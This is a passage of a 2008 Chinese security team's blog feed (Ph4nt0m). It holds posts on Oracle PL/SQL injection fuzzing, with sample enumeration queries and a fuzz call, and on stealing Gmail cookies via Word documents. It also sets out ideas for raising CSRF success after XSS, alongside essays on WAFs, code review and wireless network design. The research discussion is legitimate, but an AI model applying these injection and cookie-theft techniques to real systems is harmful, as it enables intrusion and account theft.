#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;html&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fuzzing时一般是对单个Property和单个Method()做FUZZ，这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的，再测试其他Property。由于此ActiveX的Property和Method都非常少，很快可以 FUZZ完&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-4223681671878383635?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/4223681671878383635/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=4223681671878383635' title='16 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/4223681671878383635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/4223681671878383635'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/exploitmicrosoft-office-snapshot-viewer.html' title='[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-7739259565637335820</id><published>2008-06-24T19:30:00.000-07:00</published><updated>2008-06-24T19:32:19.053-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[PSTZine]'/><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><category scheme='http://www.blogger.com/atom/ns#' term='[PSTZine 0x02]'/><title type='text'>[Tips]学习WebZine [0x02]后乱谈</title><content type='html'>by Superhei&lt;br /&gt;2008-06-25&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;&lt;p&gt;这里学习了下自己看的明白的PP&lt;/p&gt;&lt;p&gt;[&lt;a href="http://www.ph4nt0m.org/" target="_blank"&gt;PST&lt;/a&gt;Zine 0x02][0x07][乱谈之XSS攻击检测]&lt;/p&gt;&lt;p&gt;这个文章里提到了几个有趣的漏洞：&lt;/p&gt;&lt;p&gt;1.phpinfo() 4096字节后的xss,这个漏洞要是不去分析php的源代码是没有办法发现的，很多人看应用程序的原代码只去分析溢出等问题，但是忽视了应用上的安全， 这个还是要看发现者的意识，SE大牛分析php代码就不放过应用上的安全。而且就web程序的漏洞现在主要是看细节，而发现这些细节最好的办法就是分析 php本身的代码&lt;/p&gt;&lt;p&gt;2.word脚本执行漏洞，对于这个漏洞在hi群里很多人都测试过，没办法创建对象，所以不可以通过wsh等对象执行命 令，但是他可以访问url，这个我们就可以做很多事情[相当于一个csrf]，比如引入一个gmail的xss的url，当你打开一个doc文件的时候 你的gmail的cookie就被别人偷了&lt;img src="http://docs.google.com/File?id=dd9wcvmj_3ncwwzjs6_b" alt="" border="0" height="1" width="1" /&gt;。就这个类型的程序利用还有很多比如pdf 比如最近有人发的[rar自解压文的挂马]... 可以做个应用程序的crsf攻击专题？以后的那些主动防御是不是还要防偷cookie的小偷呢？:)&lt;/p&gt;&lt;p&gt;[这里顺便说下我对csrf的理解，csrf可以认为是一种漏洞类型，但是同时也是一种攻击方式]&lt;/p&gt;&lt;p&gt;[PSTZine 0x02][0x06][深入挖掘ORACLE内部SQLINJECTIO&lt;img src="http://docs.google.com/Doc?id=dd9wcvmj_4dr6xnwhr" alt="" border="0" height="1" width="1" /&gt;N]&lt;/p&gt;&lt;p&gt;对于kj这个文章我绝对标题把"挖掘"改为"分析"或者"调试"更加好，对于挖掘他这个文章里提到的方法是不科学的，因为他"挖掘"的前提是用了人家公布的POC/EXP。&lt;/p&gt;&lt;p&gt;对于ORACLE里的SQLINJECTION的基本有2个方法[文章也有提到]&lt;/p&gt;&lt;p&gt;1.白盒[文章也没有提到具体的]&lt;/p&gt;&lt;p&gt;在John McDonald大牛的blog上有篇文章：&lt;a href="http://taossa.com/index.php/2006/12/26/stored-procedure-sql-injection-cheat-sheet/"&gt;http://taossa.com/index.php/2006/12/26/stored-procedure-sql-injection-cheat-sheet/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;对于白盒来说我们要grep的关键词：&lt;/p&gt;&lt;p&gt;he best way to find these is to do a case insensitive substring search for the following: EXEC, DBMS_SQL, and OPEN. &lt;/p&gt;&lt;p&gt;2.黑盒&lt;br /&gt;在kj文章最后提到的fuzz那才是挖掘&lt;/p&gt;&lt;p&gt; 这里说一下ORACLE简单的FUZZ，可以查询ALL_OBJECTS找出所有的package function&lt;br /&gt;procedure与ALL_ARGUMENTS关联获取执行对象的参数类型！&lt;/p&gt;&lt;p&gt;简单介绍具体的几个步骤如下：&lt;/p&gt;&lt;p&gt;a.根据object_name得到package的object_id&lt;/p&gt;&lt;p&gt;SQL&gt; select object_id,object_type from all_objects where object_name='DRILOAD';&lt;/p&gt;&lt;p&gt; OBJECT_ID OBJECT_TYPE&lt;br /&gt;---------- ------------------&lt;br /&gt;     30192 PACKAGE&lt;br /&gt;     30243 PACKAGE BODY&lt;br /&gt; &lt;/p&gt;&lt;p&gt;b.根据object_id得到函数/过程名&lt;/p&gt;&lt;p&gt;SQL&gt; SELECT DISTINCT PROCEDURE$ FROM SYS.ARGUMENT$ WHERE OBJ#=30192;&lt;/p&gt;&lt;p&gt;PROCEDURE$&lt;br /&gt;------------------------------&lt;br /&gt;BUILD_DML&lt;br /&gt;RESOLVE_SQE&lt;br /&gt;VALIDATE_POL&lt;br /&gt;VALIDATE_STMT&lt;/p&gt;&lt;p&gt;c.得到具体PROCEDURE$的参数个数及类型&lt;/p&gt;&lt;p&gt;SQL&gt; select distinct position#,argument,pls_type from sys.argument$ where obj#=30192 and PROCEDURE$='VALIDATE_STMT';&lt;/p&gt;&lt;p&gt; POSITION# ARGUMENT                       PLS_TYPE&lt;br /&gt;---------- ------------------------------ ------------------------------&lt;br /&gt;         1 SQLSTMT                        VARCHAR2&lt;/p&gt;&lt;p&gt;d.构造fuzz数据&lt;/p&gt;&lt;p&gt;SQL&gt; CALL CTXSYS.DRILOAD.VALIDATE_STMT('''');&lt;br /&gt;CALL CTXSYS.DRILOAD.VALIDATE_STMT('''')&lt;br /&gt;     *&lt;br /&gt;ERROR 位于第 1 行:&lt;br /&gt;ORA-06510: PL/SQL: 无法处理的用户自定义异常事件&lt;br /&gt;ORA-06512: 在"CTXSYS.DRILOAD", line 42&lt;br /&gt;ORA-01756: 括号内的字符串没有正确结束&lt;/p&gt;&lt;p&gt;上面的步骤只是简单介绍，具体实现起来还有很多细节要注意[如得到package的所有者如DRILOAD的所有者CTXSYS]，花哥已经根据上面的原理实现了一个fuzz，效果还是有的 如：&lt;a href="http://superhei.blogbus.com/logs/20127819.html"&gt;http://superhei.blogbus.com/logs/20127819.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;另外：对于kj文里的“当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC”，这个是没有必要的，而且对于高权限用户的PACKAGE还是有意义的。对于oracle里的注射在web上利用一直都是围绕着2个问题:&lt;/p&gt;&lt;p&gt;a."权限提升"&lt;br /&gt;b."执行多语句"&lt;/p&gt;&lt;p&gt;但 是oracle里的function调用是很复杂的，比如一个sys的A()里有权限，但是它对PUBLIC没有execuite权限，但是可以被另外一 个B()调用，B()的EXECUTE权限是PUBLIC，所以一样可能被利用，而且对于web上的inj 很多连接用户的权限很高，通过注射可以执行多语句。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[PSTZine 0x02][0x04][浅析浏览器的跨域安全问题]&lt;/p&gt;&lt;p&gt;这个文章比较有意思，首先介绍这个文章的一些8挂：&lt;/p&gt;&lt;p&gt;首 先要从bluehat还是Manuel Caballero的一个题目讲起，由于bluehat的变态[不公布ppt等资料]，但是在bluehat的新闻介绍里无意发了个pic[这个pic我 现在找不到了]，被sdc看到了 于是从那个pic给出点信息开始研究测试，终于有了：&lt;a href="http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html"&gt;http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html&lt;/a&gt;， 接下来就是pdp的介绍推广:http://www.gnucitizen.org/blog/ghost-busters/。对于有价值的信息我是很愿 意共同享受的，于是我看到他们的blog 并发在了hi群里 一起测试讨论。于是qz测试后有了这个文章，并且有了新的进展 :)。 不过最后我在和参加过bluehat的朋友讨论，但是这个朋友告诉我：Manuel Caballero在bluehat上讲的根本不是这个问题 .....&lt;/p&gt;&lt;p&gt;最后bs下ms的恶心，为了得到bluehat的ppt[主要是web的]，我找了很多朋友，只有kuza55分享了他的 ppt，还问了kuza55和sowhat是否有其他的ppt，但是他们告诉我ms不让给出来他们的资料，于是我偷偷的email给Manuel Caballero没有回音，不过我还没死心，由于近年来国内暴了很多ms的0day，导致ms可能想和国内的安全人员拉拉关系于是出现了几个ms 安全部门的中国人。于是我想通过他们偷偷share下bluehat的ppt，但是最后的结果还是失败....&lt;/p&gt;&lt;p&gt;对于这个文章在技术方面的关键主要有2个：&lt;/p&gt;&lt;p&gt;a. {toString:function(){return "some-string";} 看了pdp的blog上可以发现这个方法是通过大量测试 得到的结果 ?&lt;br /&gt;b.javasript: 这个就是qz文里的关键利用，因为qz的测试分析思路是值得学习的 :)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[PSTZine 0x02][0x09][如何识别高级的验证码]&lt;/p&gt;&lt;p&gt;对于这个文章里的技术我是不怎么懂的，这里主要是感慨一下，文中的利用主要都是在gui下识别，对于csrf 和web自动化估计是没太大意义 :(&lt;/p&gt;&lt;p&gt;&lt;br /&gt;对于其他的文章不在我搞的范围........&lt;/p&gt;&lt;p&gt;rar-gmailxss.bmp &lt;a href="http://docs.google.com/File?id=dd9wcvmj_5dbhzqggj_b"&gt;http://docs.google.com/File?id=dd9wcvmj_5dbhzqggj_b&lt;/a&gt;&lt;/p&gt;&lt;p&gt;word-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_3ncwwzjs6_b&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-7739259565637335820?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/7739259565637335820/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=7739259565637335820' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7739259565637335820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7739259565637335820'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tipswebzine-0x02.html' title='[Tips]学习WebZine [0x02]后乱谈'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-1477005704506442902</id><published>2008-06-24T19:29:00.000-07:00</published><updated>2008-06-24T19:30:33.934-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]浏览器cookie安全机制和csrf</title><content type='html'>by axis&lt;br /&gt;2008-06-25&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;这两天hi群里在讨论关于csrf实现条件的问题，茄子指出了在IE环境下，csrf只是针对session cookie有效，而本地保存的stored cookie在变成当前IE的session cookie前，跨域提交是会被IE阻断的。&lt;br /&gt;&lt;br /&gt;通俗来讲就是如果浏览器进程中没有缓存过第三方站点，没访问过，那么使用img/ iframe 标签等跨域访问第三方站点是会被阻断发送cookie的。 这时候的CSRF就会仅仅只是get或者post请求，而不会发送cookie，那么很多需要 验证的提交都会失败。&lt;br /&gt;&lt;br /&gt;实际上这里是浏览器的一个cookie安全机制，不光是img 、 iframe等标签，直接 跨域 post或者 get都可能出现这种问题 （使用session cookie和 stored cookie的区别）。&lt;br /&gt;&lt;br /&gt;我以前做的一个xss测试， xss成功了3000多次，但 csrf 的一个跨子域的请求却只成功了 100多次， 当时总找不到原因，以为是payload稳定性的问题，现在想来应该就是这个跨域提交被阻断cookie的原因了。&lt;br /&gt;&lt;br /&gt;那么根据设想，为了提高csrf的成功率，我们可以在xss后使用一次 window.open（），让用户开个小窗先访问下需要csrf的域，刷出来 一个session cookie，然后就可以csrf了。  不过这个想法还需要测试，而且也不够隐蔽。&lt;br /&gt;&lt;br /&gt;PS: Firefox不存在这种阻断cookie的机制&lt;br /&gt;&lt;br /&gt;茄子的tips：&lt;br /&gt;http://xss.betaslife.com/blog/?p=24&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-1477005704506442902?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/1477005704506442902/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=1477005704506442902' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/1477005704506442902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/1477005704506442902'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tipscookiecsrf.html' title='[Tips]浏览器cookie安全机制和csrf'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-8530093669731493741</id><published>2008-06-24T19:28:00.000-07:00</published><updated>2008-06-24T19:29:45.975-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]WAF(Web Application Firewall) and Code Review</title><content type='html'>by axis&lt;br /&gt;2008-06-25&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;最近对于这两种方法的争论挺多的。&lt;br /&gt;&lt;br /&gt;实际上，在我思想中，企业搞web安全，这是两个主攻方向了。(PCI标准也这么要求)&lt;br /&gt;&lt;br /&gt;我习惯上把WAF归纳为过滤层，就是在应用的架构中有这么一个 filter-tier, 他起的作用是过滤和净化危险输入。在架构中的位置可以是多样化的：单独的硬件、apache mod、应用里面捕获输入；&lt;br /&gt;&lt;br /&gt;WAF如果开启阻断功能的话，就可以起到虚拟补丁的功能。在这个意义上来说，可以减小程序员的工作量。&lt;br /&gt;&lt;br /&gt;而WAF的最大阻力则是：&lt;br /&gt;1. 误报&lt;br /&gt;2. 对性能的影响&lt;br /&gt;3. 稳定性&lt;br /&gt;&lt;br /&gt;而AppSec这些公司推的WAF都属于硬件产品。包括mod-security等，他们都自己有一套漏洞规则，然后卖给甲方。这也是他们产品难推的原 因，尽管你吹的天花乱坠，但实际上敢开启block模式的估计不会有多少，实际上jeremiah grossman自己也承认了，并引用了一段话&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;“When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then.”&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;要了解所有的东西，就要从一开始就上WAF，对于很多半路出家搞安全的网站来说，这显然是很难接受的。&lt;br /&gt;&lt;br /&gt;所以真正要实现好的WAF，只能是自己开发，自己部署，通过“学习模式”，来消除误报。而且自己的东西，是可控的，至少从心理上来说是可控的。&lt;br /&gt;&lt;br /&gt;WAF的模式是有一定的作用，但不是万能的，也没厂商吹嘘的那么玄乎。这玩意治标不治本，无法带给你的网站安全；  只有有人不断专业维护的WAF，才能从一定程度上说可以带给你安全。这就是我一直在强调的： 安全是一个持续的过程。&lt;br /&gt;&lt;br /&gt;与WAF对应的另外一个方向是code review。 code review也有很多方向，不是随便从网上抄个规范来就行的。 同样的，code security review可以做为sdl中的一个核心过程，在软件工程中发扬光大。 每个企业都需要找到自己代码的特色，从而定制出符合自己特色的代码规范，和代码漏洞扫描工具。 这些思想也是我在 《安全幻想曲2008》中曾经强调过的，可惜从CB的反馈看来，真正能看懂我那篇paper背后意思的人的恐怕不多。&lt;br /&gt;&lt;br /&gt;code review 是一个治本的过程，也需要长期坚持。不过review code的成本会比较大，有人力也有时间的投入，还有更多的沟通成本。code review的方向 应该是尽可能降低对个人经验的依赖，这就需要有优秀的规范和规则。&lt;br /&gt;&lt;br /&gt;在应用安全里， WAF和code review应该是相辅相成的。但是我看现在不少厂商为了牟利，鼓吹WAF的优越性，让WAF走上了歪路，企业冤枉钱花了，却只是一个花架子的安全，一戳就破。如何正确应用，才是甲方安全人员需要思考的问题。&lt;br /&gt;&lt;br /&gt;先瞎扯这么多，这两个话题可以讲很深，以后再慢慢一一侃来。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-8530093669731493741?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/8530093669731493741/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=8530093669731493741' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8530093669731493741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8530093669731493741'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tipswafweb-application-firewall-and.html' title='[Tips]WAF(Web Application Firewall) and Code Review'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-2852580660471583707</id><published>2008-06-24T19:27:00.000-07:00</published><updated>2008-06-24T19:28:50.380-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]安全部门和运维部门</title><content type='html'>by 云舒&lt;br /&gt;2008-06-25&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;       前几天在&lt;a href="http://icylife.net/yunshu/show.php?id=570" target="_blank"&gt;《无线网络安全之三》&lt;/a&gt;中 提到了运维部门KPI的问题，这里重新把它拉出来，顺便说点别的。太多的网络维护人员，鉴于网络稳定性在KPI中占的比重，不愿意对网络做一点点无害的改 动。只要目前的网络没有瘫痪，他们可能就不愿意去做改进了，更愿意保持现在的样子继续运行。后期安全策略的推进，真的是一个很困难的事情。安全应该在设计 当初就考虑进去，可是没有企业在创业当初就去做这方面的投入吧，毕竟安全对创业公司来说是一种投入和伤害。让步一点的说，尽可能早的考虑进去，在公司网络 规模还不是过于庞大杂乱的时候，开始部署安全策略，已经是很有远见的战略了。&lt;br /&gt;&lt;br /&gt;        对于一般的运维部门经理或者总监，安全不在他们的考虑范畴之内。他们在意的安全，仅仅是数据是否有恰当的备份，机房的电力是否足够充裕，温度是否足够低， 负载均衡设备是否能够支撑，带宽是否足够快等等。从广义的安全来说，这些确实也是安全部门应该考虑的问题。但是毕竟这只是广义安全中的一部分，而且是不被 安全部门的上级老板认为是安全部门成绩的部分，因为这部分是由运维部门来实施的。这里安全部门和运维部门就会有冲突了，运维部门考虑的安全是广义安全的一 部分，他们愿意实施的也是这一部分，而这一部分恰好是狭义的安全所不关注的，不被安全部门上级老板认为属于安全部门成绩的那一部分。另一方面，被上面老板 认为是安全部门成绩的那一部分狭义的安全，安全需要努力去做的那一部分，恰好和运维的KPI某种意义上相冲突。&lt;br /&gt;&lt;br /&gt;        简单的说，狭义安全和运维是冲突的。运维喜欢做的，是狭义安全不重视的。安全喜欢做的，是运维反感的。解决这个问题，一般来说是依靠沟通。不过我总觉得沟 通不是长久之计，而且不同公司不同的风格，沟通起来更为困难。而且沟通是一个主动性的东西，需要强制性的东西来保障才是最可靠的。我觉得组织结构是比较好 的办法，也就是说让运维的KPI和安全的KPI归结到一个人的身上。系统管理，网络运维，IT内网，安全部门，四个部门统统归结到一个大部门的下面，大部 门总监的业绩，既包括运维，也包括安全，因此，他自然会考虑如何去协调安全和运维的比重。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-2852580660471583707?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/2852580660471583707/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=2852580660471583707' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/2852580660471583707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/2852580660471583707'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tips_24.html' title='[Tips]安全部门和运维部门'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-232502492955495463</id><published>2008-06-18T00:43:00.000-07:00</published><updated>2008-06-18T01:37:33.564-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[PSTZine]'/><category scheme='http://www.blogger.com/atom/ns#' term='[PSTZine 0x02]'/><category scheme='http://www.blogger.com/atom/ns#' term='[News]'/><title type='text'>[News]Ph4nt0m Security Team WebZine 0x02</title><content type='html'>by axis&lt;br /&gt;2008-06-18&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;    今天，我们非常欣喜的宣布我们完成了第二期webzine的制作。这是许多人共同努力的&lt;br /&gt;结果，汇聚了大家的心血。&lt;br /&gt;&lt;br /&gt;    在本期中，文章数比第一期多出了一倍，涉及的话题更广泛。同时我们开辟了一个新的&lt;br /&gt;栏目：interview。以后每期都会对安全界的一些知名人士进行一些采访，让大家能够更加近&lt;br /&gt;距离的了解牛人。&lt;br /&gt;&lt;br /&gt;    本期中有不少文章是投稿的作品，比如lisl03的关于绕过主防的shellcode、xy7的关于&lt;br /&gt;xss检测的文章等。也是他们的支持，才使得webzine更有活力。&lt;br /&gt;&lt;br /&gt;    本期特别推荐的文章是《如何识别高级的验证码》，这篇文章可能对安全人员来说有点&lt;br /&gt;难度，但是验证码的对抗却是以后非常重要的一个发展方向。此文主要值得我们借鉴的是怎&lt;br /&gt;样的设计才是一种优秀的验证码。&lt;br /&gt;&lt;br /&gt;    还有rayhac（茄子宝）写的关于浏览器跨域问题的paper，他根据ghost页面的问题扩展讨&lt;br /&gt;论开来，简单谈了谈浏览器跨域漏洞，最后更是给出了一个ie跨域0day。 同时他也将在blog&lt;br /&gt;上发布另外一篇姊妹篇的文章，进一步完善他的跨域exploit。&lt;br /&gt;&lt;br /&gt;    提到茄子，不能不提新近成立的安全组织80sec，这是剑心创立的一个专注于web安全的&lt;br /&gt;小团体，组织比较灵活，更近于社区的形式，本期摘录了80sec的两位成员的paper，感谢80sec&lt;br /&gt;为webzine做出的贡献。&lt;br /&gt;&lt;br /&gt;    好文章很多，不一一点评了，把时间留给诸位看官。任何问题（包括投稿）可以联系&lt;br /&gt;root@ph4nt0m.org&lt;br /&gt;&lt;br /&gt;    最后让我们欢迎PST的新成员dummy。&lt;br /&gt;&lt;br /&gt;http://webzine.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;镜像地址(Mirror Address)：&lt;br /&gt;http://www.icylife.net/pstzine/0x02/index.html&lt;br /&gt;http://www.80sec.com/pstzine/0x02/index.html&lt;br /&gt;http://www.neeao.com/pstzine/0x02/index.html&lt;br /&gt;http://www.cncert.net/pstzine/0x02/index.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-232502492955495463?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/232502492955495463/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=232502492955495463' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/232502492955495463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/232502492955495463'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/newsph4nt0m-security-team-webzine-0x02.html' title='[News]Ph4nt0m Security Team WebZine 0x02'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-8118301914877060396</id><published>2008-06-12T00:05:00.000-07:00</published><updated>2008-06-12T00:06:42.420-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]无线网络安全之三</title><content type='html'>by 云舒&lt;br /&gt;2008-06-12&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;&lt;p&gt;        很久之前写过两篇关于无线网络的文章，一篇是&lt;a target="_blank" href="http://icylife.net/yunshu/show.php?id=428"&gt;《企业无线局域网安全》&lt;/a&gt;，一篇是&lt;a target="_blank" href="http://icylife.net/yunshu/show.php?id=510"&gt;《无线路由折腾之一》&lt;/a&gt;，简单介绍了目前企业无线局域网设计中常用的安全标准，以及认证方面的风险。但是限于一些原因，我没有给出任何网络设计上面比较详细的方案描述，这里想稍微写一点，点到即止。而且即时知道了这里的一点架构方面的东西，也是无法攻击的，就像公开的加密算法一样。&lt;/p&gt; &lt;p&gt;        06年初的时候，负责设计了我的第一个无线网络安全方案。由于实际用户群比较窄，只针对公司内部人员，主要是技术人员，因此在安全方面看重的是身份认证的 强度和数据传输加密防篡改的强度，而不去过多的关注用户授权。因此，在身份认证方面，我选择了动态口令认证，即所谓一次性密码，保证了非法用户无法接入网 络。数据传输方面，没有使用比较常用的AES或者TKIP，而是使用了IPSec VPN通道的方式。用户使用通用密码连接到AP之后，各自处于只有自己一个用户的独立隔离的VLAN中，且无法访问除VPN Server之外的任何服务器，这里的VPN Server可以是无线交换机提供的VPN终结功能。只有手动发起VPN连接通过动态口令认证，才可以访问到内部资源。&lt;/p&gt; &lt;p&gt;        最近设计了一个新的无线网络安全方案，跟上面的颇有不同。主要是用户群比较杂乱，多个部门多重身份需要使用无线网络。在后期要对用户能够做比较好的审计， 而对于认证和传输没有太高的要求，可以稍微放松。因此，这里使用了ACS服务器结合后台的Radius服务器来做身份认证，根据不同的用户名选择不同的认 证方式，并根据AD信息划分动态的VLAN赋予相应的权限。传输加密方面，则使用了WPA2标准中的AES-CCMP算法。对比上面的方案，在认证和加密 传输安全性上面略有下降，而授权以及审计功能，有所增强。&lt;/p&gt; &lt;p&gt;        设计这个新的方案的时候，还有一个小插曲，刚好是木桶理论的印证。有人要求给一个特定的群体所有网络的访问权限，并且给这个群体使用一个比较简单的统一的 密码。对于这样的需求，很显然，是整个设计中最薄弱的一环，也就是说实施了这个需求，其实上面的所有安全措施都是无效的。因为防线上有一个缺口，攻击者就 可以从缺口绕过整个防线，避开了堡垒对后面进行攻击。&lt;/p&gt; &lt;p&gt;        目前来说，设计无线网络安全方案没有太多可以选择或者设计的余地，主要的只是和各部门无休止的沟通，需求很难整理清楚。这里插一句题外话，其实可以写一篇 新的文章，但是觉得不太好，就插到这里。那就是KPI的危害。太多的网络维护人员，鉴于网络稳定性在KPI中占的比重，不愿意对网络做一点点无害的改动。 只要目前的网络没有瘫痪，他们可能就不愿意去做改进了，更愿意保持现在的样子继续运行。后期安全策略的推进，真的是一个很困难的事情。安全应该在设计当初 